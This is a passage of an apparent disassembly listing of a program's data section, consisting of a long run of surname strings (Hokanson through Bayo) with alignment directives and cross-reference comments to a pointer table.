aHokanson db 'Hokanson',0 ; DATA XREF: .data:0042E104o
align 4
aHoffman db 'Hoffman',0 ; DATA XREF: .data:0042E100o
aHoffer db 'Hoffer',0 ; DATA XREF: .data:0042E0FCo
align 4
aHock db 'Hock',0 ; DATA XREF: .data:0042E0F8o
align 4
aHoang db 'Hoang',0 ; DATA XREF: .data:0042E0F4o
align 4
aHitchcock db 'Hitchcock',0 ; DATA XREF: .data:0042E0F0o
align 4
aHirst db 'Hirst',0 ; DATA XREF: .data:0042E0ECo
align 10h
aHind db 'Hind',0 ; DATA XREF: .data:0042E0E8o
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: .data:0042E0E4o
align 4
aHeyeck db 'Heyeck',0 ; DATA XREF: .data:0042E0E0o
align 4
aHeubert db 'Heubert',0 ; DATA XREF: .data:0042E0DCo
aHester db 'Hester',0 ; DATA XREF: .data:0042E0D8o
align 4
aHerrera db 'Herrera',0 ; DATA XREF: .data:0042E0D4o
aHernandez db 'Hernandez',0 ; DATA XREF: .data:0042E0D0o
align 10h
aHenrichs db 'Henrichs',0 ; DATA XREF: .data:0042E0CCo
align 4
aHenery db 'Henery',0 ; DATA XREF: .data:0042E0C8o
align 4
aHemphill db 'Hemphill',0 ; DATA XREF: .data:0042E0C4o
align 10h
aHelprin db 'Helprin',0 ; DATA XREF: .data:0042E0C0o
aHellmiss db 'Hellmiss',0 ; DATA XREF: .data:0042E0BCo
align 4
aHellman db 'Hellman',0 ; DATA XREF: .data:0042E0B8o
aHeiland db 'Heiland',0 ; DATA XREF: .data:0042E0B4o
aHeft db 'Heft',0 ; DATA XREF: .data:0042E0B0o
align 4
aHeermans db 'Heermans',0 ; DATA XREF: .data:0042E0ACo
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: .data:0042E0A8o
align 4
aHaynes db 'Haynes',0 ; DATA XREF: .data:0042E0A4o
align 4
aHayes db 'Hayes',0 ; DATA XREF: .data:0042E0A0o
align 4
aHawkes db 'Hawkes',0 ; DATA XREF: .data:0042E09Co
align 4
aHaviaras db 'Haviaras',0 ; DATA XREF: .data:0042E098o
align 4
aHarwell db 'Harwell',0 ; DATA XREF: .data:0042E094o
aHartnett db 'Hartnett',0 ; DATA XREF: .data:0042E090o
align 4
aHartmann db 'Hartmann',0 ; DATA XREF: .data:0042E08Co
align 4
aHartman db 'Hartman',0 ; DATA XREF: .data:0042E088o
aHarrigan db 'Harrigan',0 ; DATA XREF: .data:0042E084o
align 4
aHarlow db 'Harlow',0 ; DATA XREF: .data:0042E080o
align 4
aHargraves db 'Hargraves',0 ; DATA XREF: .data:0042E07Co
align 10h
aHarding db 'Harding',0 ; DATA XREF: .data:0042E078o
aHanssen db 'Hanssen',0 ; DATA XREF: .data:0042E074o
aHand db 'Hand',0 ; DATA XREF: .data:0042E070o
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: .data:0042E06Co
align 4
aHamer db 'Hamer',0 ; DATA XREF: .data:0042E068o
align 4
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: .data:0042E064o
align 4
aHalpert db 'Halpert',0 ; DATA XREF: .data:0042E060o
aHallowell db 'Hallowell',0 ; DATA XREF: .data:0042E05Co
align 10h
aHalkias db 'Halkias',0 ; DATA XREF: .data:0042E058o
aHaley db 'Haley',0 ; DATA XREF: .data:0042E054o
align 10h
aHackshaw db 'Hackshaw',0 ; DATA XREF: .data:0042E050o
align 4
aHackman db 'Hackman',0 ; DATA XREF: .data:0042E04Co
aHaar db 'Haar',0 ; DATA XREF: .data:0042E048o
align 4
aHa db 'Ha',0 ; DATA XREF: .data:0042E044o
align 10h
aGuo db 'Guo',0 ; DATA XREF: .data:0042E040o
aGunn db 'Gunn',0 ; DATA XREF: .data:0042E03Co
align 4
aGuenthart db 'Guenthart',0 ; DATA XREF: .data:0042E038o
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: .data:0042E034o
align 10h
aGruner db 'Gruner',0 ; DATA XREF: .data:0042E030o
align 4
aGrummell db 'Grummell',0 ; DATA XREF: .data:0042E02Co
align 4
aGrigoletto db 'Grigoletto',0 ; DATA XREF: .data:0042E028o
align 10h
aGriffiths db 'Griffiths',0 ; DATA XREF: .data:0042E024o
align 4
aGreenfeld db 'Greenfeld',0 ; DATA XREF: .data:0042E020o
align 4
aGreenberg db 'Greenberg',0 ; DATA XREF: .data:0042E01Co
align 4
aGravell db 'Gravell',0 ; DATA XREF: .data:0042E018o
aGozzi db 'Gozzi',0 ; DATA XREF: .data:0042E014o
align 4
aGoody db 'Goody',0 ; DATA XREF: .data:0042E010o
align 4
aGoodearl db 'Goodearl',0 ; DATA XREF: .data:0042E00Co
align 4
aGood db 'Good',0 ; DATA XREF: .data:0042E008o
align 10h
aGoncalves db 'Goncalves',0 ; DATA XREF: .data:0042E004o
align 4
aGoldfarb db 'Goldfarb',0 ; DATA XREF: .data:0042E000o
align 4
aGlendon db 'Glendon',0 ; DATA XREF: .data:0042DFFCo
aGlegg db 'Glegg',0 ; DATA XREF: .data:0042DFF8o
align 4
aGleason db 'Gleason',0 ; DATA XREF: .data:0042DFF4o
aGist db 'Gist',0 ; DATA XREF: .data:0042DFF0o
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: .data:0042DFECo
align 4
aGill db 'Gill',0 ; DATA XREF: .data:0042DFE8o
align 4
aGili db 'Gili',0 ; DATA XREF: .data:0042DFE4o
align 4
aGilbert db 'Gilbert',0 ; DATA XREF: .data:0042DFE0o
aGibson db 'Gibson',0 ; DATA XREF: .data:0042DFDCo
align 4
aGibbens db 'Gibbens',0 ; DATA XREF: .data:0042DFD8o
aGhorai db 'Ghorai',0 ; DATA XREF: .data:0042DFD4o
align 4
aGerrett db 'Gerrett',0 ; DATA XREF: .data:0042DFD0o
aGeorgi db 'Georgi',0 ; DATA XREF: .data:0042DFCCo
align 4
aGemberling db 'Gemberling',0 ; DATA XREF: .data:0042DFC8o
align 10h
aGeller db 'Geller',0 ; DATA XREF: .data:0042DFC4o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: .data:0042DFC0o
aGarman db 'Garman',0 ; DATA XREF: .data:0042DFBCo
align 4
aGarfield db 'Garfield',0 ; DATA XREF: .data:0042DFB8o
align 4
aGambini db 'Gambini',0 ; DATA XREF: .data:0042DFB4o
aGalwey db 'Galwey',0 ; DATA XREF: .data:0042DFB0o
align 4
aGaleotti db 'Galeotti',0 ; DATA XREF: .data:0042DFACo
align 10h
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: .data:0042DFA8o
align 4
aGabrielli db 'Gabrielli',0 ; DATA XREF: .data:0042DFA4o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: .data:0042DFA0o
align 10h
aFurth db 'Furth',0 ; DATA XREF: .data:0042DF9Co
align 4
aFuller db 'Fuller',0 ; DATA XREF: .data:0042DF98o
align 10h
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: .data:0042DF94o
align 4
aFrye db 'Frye',0 ; DATA XREF: .data:0042DF90o
align 4
aFryberger db 'Fryberger',0 ; DATA XREF: .data:0042DF8Co
align 10h
aFrowiss db 'Frowiss',0 ; DATA XREF: .data:0042DF88o
aFrisken db 'Frisken',0 ; DATA XREF: .data:0042DF84o
aFriedland db 'Friedland',0 ; DATA XREF: .data:0042DF80o
align 4
aFried db 'Fried',0 ; DATA XREF: .data:0042DF7Co
align 4
aFreundlich db 'Freundlich',0 ; DATA XREF: .data:0042DF78o
align 10h
aFreid db 'Freid',0 ; DATA XREF: .data:0042DF74o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: .data:0042DF70o
align 4
aFranz db 'Franz',0 ; DATA XREF: .data:0042DF6Co
align 10h
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: .data:0042DF68o
align 10h
aFrancisco db 'Francisco',0 ; DATA XREF: .data:0042DF64o
align 4
aFossi db 'Fossi',0 ; DATA XREF: .data:0042DF60o
align 4
aFossey db 'Fossey',0 ; DATA XREF: .data:0042DF5Co
align 4
aFortier db 'Fortier',0 ; DATA XREF: .data:0042DF58o
aFortes db 'Fortes',0 ; DATA XREF: .data:0042DF54o
align 4
aForester db 'Forester',0 ; DATA XREF: .data:0042DF50o
align 4
aFolks db 'Folks',0 ; DATA XREF: .data:0042DF4Co
align 10h
aFlores db 'Flores',0 ; DATA XREF: .data:0042DF48o
align 4
aFlier db 'Flier',0 ; DATA XREF: .data:0042DF44o
align 10h
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: .data:0042DF40o
aFisk db 'Fisk',0 ; DATA XREF: .data:0042DF3Co
align 4
aFiorina db 'Fiorina',0 ; DATA XREF: .data:0042DF38o
aFinnegan db 'Finnegan',0 ; DATA XREF: .data:0042DF34o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: .data:0042DF30o
aFink db 'Fink',0 ; DATA XREF: .data:0042DF2Co
align 4
aField db 'Field',0 ; DATA XREF: .data:0042DF28o
align 4
aFido db 'Fido',0 ; DATA XREF: .data:0042DF24o
align 4
aFeuer db 'Feuer',0 ; DATA XREF: .data:0042DF20o
align 4
aFerriell db 'Ferriell',0 ; DATA XREF: .data:0042DF1Co
align 10h
aFerrante db 'Ferrante',0 ; DATA XREF: .data:0042DF18o
align 4
aFernandes db 'Fernandes',0 ; DATA XREF: .data:0042DF14o
align 4
aFernald db 'Fernald',0 ; DATA XREF: .data:0042DF10o
aFeldman db 'Feldman',0 ; DATA XREF: .data:0042DF0Co
aFejzo db 'Fejzo',0 ; DATA XREF: .data:0042DF08o
align 10h
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: .data:0042DF04o
align 4
aFates db 'Fates',0 ; DATA XREF: .data:0042DF00o
align 4
aFasso db 'Fasso',27h,0 ; DATA XREF: .data:0042DEFCo
align 4
aFarren db 'Farren',0 ; DATA XREF: .data:0042DEF8o
align 4
aFarone db 'Farone',0 ; DATA XREF: .data:0042DEF4o
align 4
aFaris db 'Faris',0 ; DATA XREF: .data:0042DEF0o
align 4
aFalorsi db 'Falorsi',0 ; DATA XREF: .data:0042DEECo
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: .data:0042DEE8o
align 4
aFaioes db 'Faioes',0 ; DATA XREF: .data:0042DEE4o
align 4
aFagan db 'Fagan',0 ; DATA XREF: .data:0042DEE0o
align 4
aFabbris db 'Fabbris',0 ; DATA XREF: .data:0042DEDCo
aEverett db 'Everett',0 ; DATA XREF: .data:0042DED8o
aEuripides db 'Euripides',0 ; DATA XREF: .data:0042DED4o
align 4
aEtter db 'Etter',0 ; DATA XREF: .data:0042DED0o
align 10h
aEstes db 'Estes',0 ; DATA XREF: .data:0042DECCo
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: .data:0042DEC8o
align 4
aErez db 'Erez',0 ; DATA XREF: .data:0042DEC4o
align 4
aErdos db 'Erdos',0 ; DATA XREF: .data:0042DEC0o
align 4
aErdman db 'Erdman',0 ; DATA XREF: .data:0042DEBCo
align 4
aErbach db 'Erbach',0 ; DATA XREF: .data:0042DEB8o
align 4
aEppling db 'Eppling',0 ; DATA XREF: .data:0042DEB4o
aEnyeart db 'Enyeart',0 ; DATA XREF: .data:0042DEB0o
aEncinas db 'Encinas',0 ; DATA XREF: .data:0042DEACo
aElvis db 'Elvis',0 ; DATA XREF: .data:0042DEA8o
align 4
aElmerick db 'Elmerick',0 ; DATA XREF: .data:0042DEA4o
align 10h
aElmendorf db 'Elmendorf',0 ; DATA XREF: .data:0042DEA0o
align 4
aEliasson db 'Eliasson',0 ; DATA XREF: .data:0042DE9Co
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .data:0042DE98o
aEdward db 'Edward',0 ; DATA XREF: .data:0042DE94o
align 4
aEdner db 'Edner',0 ; DATA XREF: .data:0042DE90o
align 4
aEdley db 'Edley',0 ; DATA XREF: .data:0042DE8Co
align 4
aEckel db 'Eckel',0 ; DATA XREF: .data:0042DE88o
align 4
aEbeling db 'Ebeling',0 ; DATA XREF: .data:0042DE84o
aEardley db 'Eardley',0 ; DATA XREF: .data:0042DE80o
aDwyer db 'Dwyer',0 ; DATA XREF: .data:0042DE7Co
align 4
aDussault db 'Dussault',0 ; DATA XREF: .data:0042DE78o
align 4
aDurrett db 'Durrett',0 ; DATA XREF: .data:0042DE74o
aDuffin db 'Duffin',0 ; DATA XREF: .data:0042DE70o
align 4
aDSouza db 'D',27h,'souza',0 ; DATA XREF: .data:0042DE6Co
aDrinker db 'Drinker',0 ; DATA XREF: .data:0042DE68o
aDowsland db 'Dowsland',0 ; DATA XREF: .data:0042DE64o
align 4
aDoug db 'Doug',0 ; DATA XREF: .data:0042DE60o
align 4
aDoty db 'Doty',0 ; DATA XREF: .data:0042DE5Co
align 4
aDosi db 'Dosi',0 ; DATA XREF: .data:0042DE58o
align 4
aDorf db 'Dorf',0 ; DATA XREF: .data:0042DE54o
align 4
aDore db 'Dore',0 ; DATA XREF: .data:0042DE50o
align 4
aDoonan db 'Doonan',0 ; DATA XREF: .data:0042DE4Co
align 4
aDonner db 'Donner',0 ; DATA XREF: .data:0042DE48o
align 4
aDonahue db 'Donahue',0 ; DATA XREF: .data:0042DE44o
aDoherty db 'Doherty',0 ; DATA XREF: .data:0042DE40o
aDockery db 'Dockery',0 ; DATA XREF: .data:0042DE3Co
aDirksen db 'Dirksen',0 ; DATA XREF: .data:0042DE38o
aDionysius db 'Dionysius',0 ; DATA XREF: .data:0042DE34o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: .data:0042DE30o
align 4
aDifronzo db 'Difronzo',0 ; DATA XREF: .data:0042DE2Co
align 10h
aDifabio db 'Difabio',0 ; DATA XREF: .data:0042DE28o
aDiefenbach db 'Diefenbach',0 ; DATA XREF: .data:0042DE24o
align 4
aDicks db 'Dicks',0 ; DATA XREF: .data:0042DE20o
align 4
aDFini db 'D',27h,'fini',0 ; DATA XREF: .data:0042DE1Co
align 4
aDeutsch db 'Deutsch',0 ; DATA XREF: .data:0042DE18o
aDesombre db 'Desombre',0 ; DATA XREF: .data:0042DE14o
align 4
aDenison db 'Denison',0 ; DATA XREF: .data:0042DE10o
aDenham db 'Denham',0 ; DATA XREF: .data:0042DE0Co
align 4
aDenault db 'Denault',0 ; DATA XREF: .data:0042DE08o
aDemusz db 'Demusz',0 ; DATA XREF: .data:0042DE04o
align 4
aDempster db 'Dempster',0 ; DATA XREF: .data:0042DE00o
align 4
aDeming db 'Deming',0 ; DATA XREF: .data:0042DDFCo
align 4
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .data:0042DDF8o
align 4
aDelger db 'Delger',0 ; DATA XREF: .data:0042DDF4o
align 10h
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .data:0042DDF0o
align 10h
aDelattre db 'Delattre',0 ; DATA XREF: .data:0042DDECo
align 4
aDefeciani db 'Defeciani',0 ; DATA XREF: .data:0042DDE8o
align 4
aDees db 'Dees',0 ; DATA XREF: .data:0042DDE4o
align 10h
aDebroff db 'Debroff',0 ; DATA XREF: .data:0042DDE0o
aDerousse db 'deRousse',0 ; DATA XREF: .data:0042DDDCo
align 4
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .data:0042DDD8o
align 10h
aDelapena db 'DeLaPena',0 ; DATA XREF: .data:0042DDD4o
align 4
aDegennaro db 'DeGennaro',0 ; DATA XREF: .data:0042DDD0o
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: .data:0042DDCCo
aDavid db 'David',0 ; DATA XREF: .data:0042DDC8o
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: .data:0042DDC4o
aDasgupta db 'Dasgupta',0 ; DATA XREF: .data:0042DDC0o
align 4
aDas db 'Das',0 ; DATA XREF: .data:0042DDBCo
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .data:0042DDB8o
aDapice db 'Dapice',0 ; DATA XREF: .data:0042DDB4o
align 4
aDante db 'Dante',0 ; DATA XREF: .data:0042DDB0o
align 4
aDanieli db 'Danieli',0 ; DATA XREF: .data:0042DDACo
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .data:0042DDA8o
aDaly db 'Daly',0 ; DATA XREF: .data:0042DDA4o
align 4
aDaldalian db 'Daldalian',0 ; DATA XREF: .data:0042DDA0o
align 10h
aDasilva db 'daSilva',0 ; DATA XREF: .data:0042DD9Co
aCyders db 'Cyders',0 ; DATA XREF: .data:0042DD98o
align 10h
aCvek db 'Cvek',0 ; DATA XREF: .data:0042DD94o
align 4
aCutler db 'Cutler',0 ; DATA XREF: .data:0042DD90o
align 10h
aCurrier db 'Currier',0 ; DATA XREF: .data:0042DD8Co
aCui db 'Cui',0 ; DATA XREF: .data:0042DD88o
aCroxton db 'Croxton',0 ; DATA XREF: .data:0042DD84o
aCroxen db 'Croxen',0 ; DATA XREF: .data:0042DD80o
align 4
aCroshaw db 'Croshaw',0 ; DATA XREF: .data:0042DD7Co
aCrocker db 'Crocker',0 ; DATA XREF: .data:0042DD78o
aCrawford db 'Crawford',0 ; DATA XREF: .data:0042DD74o
align 4
aCoutaux db 'Coutaux',0 ; DATA XREF: .data:0042DD70o
aCounter db 'Counter',0 ; DATA XREF: .data:0042DD6Co
aCosmides db 'Cosmides',0 ; DATA XREF: .data:0042DD68o
align 4
aCornish db 'Cornish',0 ; DATA XREF: .data:0042DD64o
aCorey db 'Corey',0 ; DATA XREF: .data:0042DD60o
align 4
aConnors db 'Connors',0 ; DATA XREF: .data:0042DD5Co
aCondodina db 'Condodina',0 ; DATA XREF: .data:0042DD58o
align 4
aConcino db 'Concino',0 ; DATA XREF: .data:0042DD54o
aComstock db 'Comstock',0 ; DATA XREF: .data:0042DD50o
align 4
aCompton db 'Compton',0 ; DATA XREF: .data:0042DD48o
; .data:0042DD4Co
aCollis db 'Collis',0 ; DATA XREF: .data:0042DD44o
align 4
aCollard db 'Collard',0 ; DATA XREF: .data:0042DD40o
aColella db 'Colella',0 ; DATA XREF: .data:0042DD3Co
aColdren db 'Coldren',0 ; DATA XREF: .data:0042DD38o
aCoito db 'Coito',0 ; DATA XREF: .data:0042DD34o
align 4
aCoblenz db 'Coblenz',0 ; DATA XREF: .data:0042DD30o
aClow db 'Clow',0 ; DATA XREF: .data:0042DD2Co
align 4
aClifton db 'Clifton',0 ; DATA XREF: .data:0042DD28o
aClement db 'Clement',0 ; DATA XREF: .data:0042DD24o
aClark db 'Clark',0 ; DATA XREF: .data:0042DD20o
align 4
aClancy db 'Clancy',0 ; DATA XREF: .data:0042DD1Co
align 4
aClaffey db 'Claffey',0 ; DATA XREF: .data:0042DD18o
aCifarelli db 'Cifarelli',0 ; DATA XREF: .data:0042DD14o
align 10h
aCicero db 'Cicero',0 ; DATA XREF: .data:0042DD10o
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .data:0042DD0Co
align 4
aChurch db 'Church',0 ; DATA XREF: .data:0042DD08o
align 4
aChupasko db 'Chupasko',0 ; DATA XREF: .data:0042DD04o
align 4
aChu db 'Chu',0 ; DATA XREF: .data:0042DD00o
aChristopher db 'Christopher',0 ; DATA XREF: .data:0042DCFCo
aChristie db 'Christie',0 ; DATA XREF: .data:0042DCF8o
align 4
aChristiano db 'Christiano',0 ; DATA XREF: .data:0042DCF4o
align 10h
aChristian db 'Christian',0 ; DATA XREF: .data:0042DCF0o
align 4
aChristenson db 'Christenson',0 ; DATA XREF: .data:0042DCECo
aChinman db 'Chinman',0 ; DATA XREF: .data:0042DCE8o
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .data:0042DCE4o
aChilds db 'Childs',0 ; DATA XREF: .data:0042DCE0o
align 4
aChildress db 'Childress',0 ; DATA XREF: .data:0042DCDCo
align 10h
aChien db 'Chien',0 ; DATA XREF: .data:0042DCD8o
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: .data:0042DCD4o
align 4
aChervinsky db 'Chervinsky',0 ; DATA XREF: .data:0042DCD0o
align 10h
aCherry db 'Cherry',0 ; DATA XREF: .data:0042DCCCo
align 4
aCheang db 'Cheang',0 ; DATA XREF: .data:0042DCC8o
align 10h
aCharles db 'Charles',0 ; DATA XREF: .data:0042DCC4o
aChapman db 'Chapman',0 ; DATA XREF: .data:0042DCC0o
aCerioli db 'Cerioli',0 ; DATA XREF: .data:0042DCBCo
aCeniceros db 'Ceniceros',0 ; DATA XREF: .data:0042DCB8o
align 4
aCavell db 'Cavell',0 ; DATA XREF: .data:0042DCB4o
align 4
aCavanagh db 'Cavanagh',0 ; DATA XREF: .data:0042DCB0o
align 4
aCastelda db 'Castelda',0 ; DATA XREF: .data:0042DCACo
align 4
aCaspar db 'Caspar',0 ; DATA XREF: .data:0042DCA8o
align 4
aCase db 'Case',0 ; DATA XREF: .data:0042DCA4o
align 4
aCascio db 'Cascio',0 ; DATA XREF: .data:0042DCA0o
align 4
aCartmill db 'Cartmill',0 ; DATA XREF: .data:0042DC9Co
align 4
aCarper db 'Carper',0 ; DATA XREF: .data:0042DC98o
align 10h
aCaroti db 'Caroti',0 ; DATA XREF: .data:0042DC94o
align 4
aCarmichael db 'Carmichael',0 ; DATA XREF: .data:0042DC90o
align 4
aCarlyle db 'Carlyle',0 ; DATA XREF: .data:0042DC8Co
aCarlos db 'Carlos',0 ; DATA XREF: .data:0042DC88o
align 4
aCarlin db 'Carlin',0 ; DATA XREF: .data:0042DC84o
align 4
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .data:0042DC80o
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .data:0042DC7Co
aCapursi db 'Capursi',0 ; DATA XREF: .data:0042DC78o
aCappuccio db 'Cappuccio',0 ; DATA XREF: .data:0042DC74o
align 4
aCapodilupo db 'Capodilupo',0 ; DATA XREF: .data:0042DC70o
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: .data:0042DC6Co
align 4
aCaperton db 'Caperton',0 ; DATA XREF: .data:0042DC68o
align 10h
aCapanni db 'Capanni',0 ; DATA XREF: .data:0042DC64o
aCanley db 'Canley',0 ; DATA XREF: .data:0042DC60o
align 10h
aCammilleri db 'Cammilleri',0 ; DATA XREF: .data:0042DC5Co
align 4
aCammelli db 'Cammelli',0 ; DATA XREF: .data:0042DC58o
align 4
aCalnan db 'Calnan',0 ; DATA XREF: .data:0042DC54o
align 10h
aCage db 'Cage',0 ; DATA XREF: .data:0042DC50o
align 4
aByrd db 'Byrd',0 ; DATA XREF: .data:0042DC4Co
align 10h
aByerly db 'Byerly',0 ; DATA XREF: .data:0042DC48o
align 4
aByatt db 'Byatt',0 ; DATA XREF: .data:0042DC44o
align 10h
aBusetta db 'Busetta',0 ; DATA XREF: .data:0042DC40o
aBurridge db 'Burridge',0 ; DATA XREF: .data:0042DC3Co
align 4
aBurke db 'Burke',0 ; DATA XREF: .data:0042DC38o
align 4
aBurdzy db 'Burdzy',0 ; DATA XREF: .data:0042DC34o
align 4
aBurden db 'Burden',0 ; DATA XREF: .data:0042DC30o
align 4
aBunton db 'Bunton',0 ; DATA XREF: .data:0042DC2Co
align 4
aBullard db 'Bullard',0 ; DATA XREF: .data:0042DC28o
aBudding db 'Budding',0 ; DATA XREF: .data:0042DC24o
aBuchan db 'Buchan',0 ; DATA XREF: .data:0042DC20o
align 4
aBrzycki db 'Brzycki',0 ; DATA XREF: .data:0042DC1Co
aBrook db 'Brook',0 ; DATA XREF: .data:0042DC18o
align 4
aBroca db 'Broca',0 ; DATA XREF: .data:0042DC14o
align 4
aBritz db 'Britz',0 ; DATA XREF: .data:0042DC10o
align 4
aBrinton db 'Brinton',0 ; DATA XREF: .data:0042DC0Co
aBridges db 'Bridges',0 ; DATA XREF: .data:0042DC08o
aBridgeman db 'Bridgeman',0 ; DATA XREF: .data:0042DC04o
align 4
aBrewer db 'Brewer',0 ; DATA XREF: .data:0042DBFCo
; .data:0042DC00o
align 10h
aBrennan db 'Brennan',0 ; DATA XREF: .data:0042DBF8o
aBrenan db 'Brenan',0 ; DATA XREF: .data:0042DBF4o
align 10h
aBreed db 'Breed',0 ; DATA XREF: .data:0042DBF0o
align 4
aBrecht db 'Brecht',0 ; DATA XREF: .data:0042DBECo
align 10h
aBradach db 'Bradach',0 ; DATA XREF: .data:0042DBE8o
aBradac db 'Bradac',0 ; DATA XREF: .data:0042DBE4o
align 10h
aBracalente db 'Bracalente',0 ; DATA XREF: .data:0042DBE0o
align 4
aBoyne db 'Boyne',0 ; DATA XREF: .data:0042DBDCo
align 4
aBoym db 'Boym',0 ; DATA XREF: .data:0042DBD8o
align 4
aBoyland db 'Boyland',0 ; DATA XREF: .data:0042DBD4o
aBoyes db 'Boyes',0 ; DATA XREF: .data:0042DBD0o
align 4
aBoyajian db 'Boyajian',0 ; DATA XREF: .data:0042DBCCo
align 4
aBoxer db 'Boxer',0 ; DATA XREF: .data:0042DBC8o
align 10h
aBowers db 'Bowers',0 ; DATA XREF: .data:0042DBC4o
align 4
aBourneuf db 'Bourneuf',0 ; DATA XREF: .data:0042DBC0o
align 4
aBoudrot db 'Boudrot',0 ; DATA XREF: .data:0042DBBCo
aBoudin db 'Boudin',0 ; DATA XREF: .data:0042DBB8o
align 4
aBotosh db 'Botosh',0 ; DATA XREF: .data:0042DBB4o
align 4
aBothman db 'Bothman',0 ; DATA XREF: .data:0042DBB0o
aBossi db 'Bossi',0 ; DATA XREF: .data:0042DBACo
align 4
aBorden db 'Borden',0 ; DATA XREF: .data:0042DBA8o
align 4
aBorack db 'Borack',0 ; DATA XREF: .data:0042DBA4o
align 4
aBoorstin db 'Boorstin',0 ; DATA XREF: .data:0042DBA0o
align 4
aBoone db 'Boone',0 ; DATA XREF: .data:0042DB9Co
align 10h
aBookbinder db 'Bookbinder',0 ; DATA XREF: .data:0042DB98o
align 4
aBook db 'Book',0 ; DATA XREF: .data:0042DB94o
align 4
aBontempo db 'Bontempo',0 ; DATA XREF: .data:0042DB90o
align 10h
aBoniface db 'Boniface',0 ; DATA XREF: .data:0042DB8Co
align 4
aBonham db 'Bonham',0 ; DATA XREF: .data:0042DB88o
align 4
aBoner db 'Boner',0 ; DATA XREF: .data:0042DB84o
align 4
aBologna db 'Bologna',0 ; DATA XREF: .data:0042DB80o
aBollinger db 'Bollinger',0 ; DATA XREF: .data:0042DB7Co
align 10h
aBolick db 'Bolick',0 ; DATA XREF: .data:0042DB78o
align 4
aBolger db 'Bolger',0 ; DATA XREF: .data:0042DB74o
align 10h
aBlyth db 'Blyth',0 ; DATA XREF: .data:0042DB70o
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: .data:0042DB6Co
aBloemhof db 'Bloemhof',0 ; DATA XREF: .data:0042DB68o
align 4
aBloembergen db 'Bloembergen',0 ; DATA XREF: .data:0042DB64o
aBloch db 'Bloch',0 ; DATA XREF: .data:0042DB60o
align 10h
aBlizard db 'Blizard',0 ; DATA XREF: .data:0042DB5Co
aBliss db 'Bliss',0 ; DATA XREF: .data:0042DB58o
align 10h
aBlanke db 'Blanke',0 ; DATA XREF: .data:0042DB54o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: .data:0042DB50o
align 4
aBlagg db 'Blagg',0 ; DATA XREF: .data:0042DB4Co
align 4
aBlackwell db 'Blackwell',0 ; DATA XREF: .data:0042DB48o
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: .data:0042DB44o
align 4
aBisho db 'Bisho',0 ; DATA XREF: .data:0042DB40o
align 4
aBisema db 'Bisema',0 ; DATA XREF: .data:0042DB3Co
align 4
aBir db 'Bir',0 ; DATA XREF: .data:0042DB38o
aBinion db 'Binion',0 ; DATA XREF: .data:0042DB34o
align 10h
aBickel db 'Bickel',0 ; DATA XREF: .data:0042DB30o
align 4
aBiagioli db 'Biagioli',0 ; DATA XREF: .data:0042DB2Co
align 4
aBeynart db 'Beynart',0 ; DATA XREF: .data:0042DB28o
aBetti db 'Betti',0 ; DATA XREF: .data:0042DB24o
align 4
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .data:0042DB20o
align 4
aBernston db 'Bernston',0 ; DATA XREF: .data:0042DB1Co
align 10h
aBernassola db 'Bernassola',0 ; DATA XREF: .data:0042DB18o
align 4
aBernardo db 'Bernardo',0 ; DATA XREF: .data:0042DB14o
align 4
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .data:0042DB10o
align 4
aBergson db 'Bergson',0 ; DATA XREF: .data:0042DB0Co
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .data:0042DB08o
align 10h
aBelloc db 'Belloc',0 ; DATA XREF: .data:0042DB04o
align 4
aBellini db 'Bellini',0 ; DATA XREF: .data:0042DB00o
aBellhouse db 'Bellhouse',0 ; DATA XREF: .data:0042DAFCo
align 4
aBellavance db 'Bellavance',0 ; DATA XREF: .data:0042DAF8o
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .data:0042DAF4o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: .data:0042DAF0o
align 10h
aBelaoussof db 'Belaoussof',0 ; DATA XREF: .data:0042DAECo
align 4
aBelanger db 'Belanger',0 ; DATA XREF: .data:0042DAE8o
align 4
aBehenna db 'Behenna',0 ; DATA XREF: .data:0042DAE4o
aBedford db 'Bedford',0 ; DATA XREF: .data:0042DAE0o
aBeder db 'Beder',0 ; DATA XREF: .data:0042DADCo
align 10h
aBeckman db 'Beckman',0 ; DATA XREF: .data:0042DAD8o
aBean db 'Bean',0 ; DATA XREF: .data:0042DAD4o
align 10h
aBeal db 'Beal',0 ; DATA XREF: .data:0042DAD0o
align 4
aBeacon db 'Beacon',0 ; DATA XREF: .data:0042DACCo
align 10h
aBayo db 'Bayo',0 ; DATA XREF: .data:0042DAC8o
align 4
